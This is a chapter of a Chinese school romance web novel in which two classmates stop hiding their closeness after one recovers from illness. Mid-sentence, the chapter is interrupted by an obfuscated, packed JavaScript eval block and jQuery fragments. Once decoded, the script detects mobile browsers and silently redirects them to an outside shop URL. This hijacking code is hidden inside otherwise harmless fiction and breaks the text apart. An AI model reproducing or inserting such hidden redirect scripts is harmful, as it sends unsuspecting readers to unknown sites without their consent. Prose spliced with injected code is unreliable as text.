宁杳的病在医务室躺了一天一夜之后退了。校医给她开了两天的病假单，但她第二天下午就回了教室。班主任看见她进来张了张嘴想说什么，被她一句"已经好了不耽误复习"堵了回去。她坐回自己座位上，翻开课本，笔尖落在纸面上的时候还有一点点虚，但她撑住了。
右楠穗坐在最后一排，看着她走进来坐下，看着她翻开书，看着她开始写题。她的手一直按在桌面上，指尖微微收着，直到确认宁杳的笔没抖才慢慢松开来。
那天早自习，宁杳拉开抽屉。里面有一瓶温牛奶，瓶身上贴着一颗粉色星星，旁边还有一张纸条叠成的小方块。她把纸条打开，上面写着：今天开始，不隔了。
宁杳握着纸条看了两秒，偏头往教室后排看了一眼。右楠穗正低头写卷子，没抬头，但她握着笔的右手在桌沿上敲了两下。咚，咚。
跟从前一样的暗号。
宁杳把纸条收进铁盒里，拧开牛奶瓶盖喝了一口。还是温的，还是甜的。但今天这瓶的温度比往常更暖一点，像是有个人在路上把瓶子攥在手心里攥了一路。
中午食堂，宁杳端着餐盘走到往常那个角落。她刚坐下，对面就坐下来一个人。动作自然得像坐了八百次，餐盘搁在桌面上，筷子拿起来，夹了一块番茄炒蛋送进嘴里。
宁杳抬头看着她。右楠穗坐在对面，低头扒饭，姿态跟以前一模一样。
"你不是说隔一天坐一次吗？"宁杳问。
右楠穗嚼完嘴里的饭，咽下去，抬眼看了她一下。
"不想隔了。"
宁杳没有追问。她低下头吃饭，用筷子拨着米饭，嘴角弯了一下。右楠穗看到了那个弯度，没说话，把她餐盘里唯一一块糖醋排骨夹起来放进了宁杳的饭上。
"你多吃点。病刚好。"
"你自己不吃？"
"我吃你盘里的番茄。"
宁杳没来得及阻止，右楠穗已经把她盘里的番茄炒蛋夹了大半过去，堆在自己饭上，像一座小小的红色山丘。她低下头扒了两口，腮帮子鼓起来一点点，嚼得很随意，像完成了一件理所当然的事情。
宁杳看了她一会儿，低头把那块糖醋排骨吃了。
晚自习之后，宁杳收拾好书包站起来。她走出教室后门的时候，右楠穗已经站在门口了。姿态跟从前一样——靠在墙边，手插兜，微微歪着头。但她站的位置比从前近了半步，近到宁杳走出门的时候两个人的胳膊差一点蹭到。
"走。"右楠穗偏了一下头。
两个人并肩走在回宿舍的路上。四月的夜风比三月软了很多，吹在脸上有潮润的暖意，玉兰花的香味被风裹着从头顶的树冠上洒下来，落得满身都是。路灯把树影投在地上，枝桠间已经冒出了细小的新叶，嫩绿色的，在光里透亮。
宁杳走在右边，右楠穗走在左边。隔了一个拳头的距离，跟从前一样。
但她往前走了几步，那个拳头变小了。半拳。右楠穗往她这边偏了一点，步子在没有人注意的时候悄悄调了一个角度。
"右楠穗。"宁杳叫她。
"嗯？"
"你今天为什么不隔了？"
右楠穗没有马上回答。她走了两步，踢了一下路上一颗小石子，石子滚出去撞在路灯杆上，发出一声清脆的叮。她看着那颗石子停住，才开口。
"不想隔了。"
"你说过隔三差五是为了——"
"我知道我说过。"右楠穗偏过头看她，路灯的光从侧面打过来，把她一边脸照亮了，另一边藏在阴影里。"但我那天晚上看见你蹲在花坛旁边的时候，我脑子里只有一个想法。"
宁杳的脚步慢了一点。
"那个想法是，"右楠穗的声音也慢了一点，"如果我今天没有回来拿东西，你就在那里蹲着。没人知道。你可能蹲到晕过去，第二天才被人发现。就因为你怕麻烦我。"
宁杳张了张嘴想说"我不会晕过去"，但她看着右楠穗的表情，把话咽回去了。右楠穗的脸上没什么笑容，她的眼睛看着前面的路，睫毛被路灯的光拉出长长的影子。
"我不想让那种事再发生一次。"右楠穗说。"所以什么隔天什么隔两个位子什么偷偷的，我不想了。老师发现就发现。谈话就谈话。八十天也好五十天也好，我就站在你旁边。谁来说都没用。"
她们走到宿舍楼下停住了。宁杳站在台阶下面，右楠穗站在她对面，两个人之间隔了半个人的距离。路灯在她们头顶照着，把两个人的影子缩成短短的两截，紧紧地挨在一起。
"你听到了？"右楠穗说，"我说完了。"
宁杳看着她。四月温软的风从两个人之间穿过去，把宁杳额前的碎发吹动了一下。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716608|208532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
低下头，看着自己鞋尖旁边右楠穗的鞋尖，两只白色运动鞋并排摆着，中间只隔了一道细细的缝。
"听到了。"她说。
"那你进去吧。早点睡。明天早上牛奶不隔，放两瓶。一瓶今天补的，一瓶明天的。"
宁杳忍不住笑了一下。那个笑很轻很短，但它是从心底漫上来的，像四月玉兰花开的时候没有任何预兆，一夜之间满树都白了。
"两瓶喝不完。"
"喝不完放着看。看着也行。"
右楠穗说完把手从兜里抽出来，轻轻挥了一下，转身往自己的宿舍楼走。走了两步又回头，停了一下。
"宁杳。"
"嗯？"
"以后不舒服要说。别再一个人扛。"
宁杳站在宿舍楼门口，背后是亮着灯的楼道，面前是四月的夜色和站在路灯底下的右楠穗。她的身影被光拉得很长，投在地面上一直伸到宁杳脚边。
"好。"宁杳说。
右楠穗没再说话。她转过身走了，步子恢复到那种散漫的节奏，每一步间隔匀称。她的背影在一盏盏路灯底下经过，亮一下暗一下，亮一下暗一下，最后在拐角消失了。
宁杳站在原地看着她消失的方向，站了好一会儿才转身进楼。她上楼梯的时候步子比前几天轻了很多，膝盖不软了，头不疼了，连风从窗户缝隙里钻进来她都觉得是暖的。
第二天早上她拉开抽屉。里面有两瓶牛奶，并排放着，瓶身温热。左边那瓶贴着一颗粉色星星，右边那瓶贴着两颗，并排粘在一起。
她低头看着那三颗星星，伸手碰了一下最右边那颗。
然后她抬头往教室后排看了一眼。右楠穗已经坐在那里了，低头写卷子，像感应到什么似的抬起头来。两个人隔着整个教室对视了一眼。右楠穗没笑，但她右手从卷子上抬起来，在桌沿上敲了两下。咚，咚。
宁杳把脸转回去，拧开左边的牛奶瓶盖喝了一口。然后她又拧开了右边那瓶，喝了一小口。
两瓶都喝了。她把瓶盖拧回去，把空瓶放在窗台上晾着，跟以前一样攒起来。
攒够一批就拿去回收。回收站的阿姨早就认识她了，每次都说"这小姑娘瓶子攒得真整齐"。宁杳每次都不说话只是笑。
但今天她笑了之后在心里加了一句：因为放瓶子的人每天都来。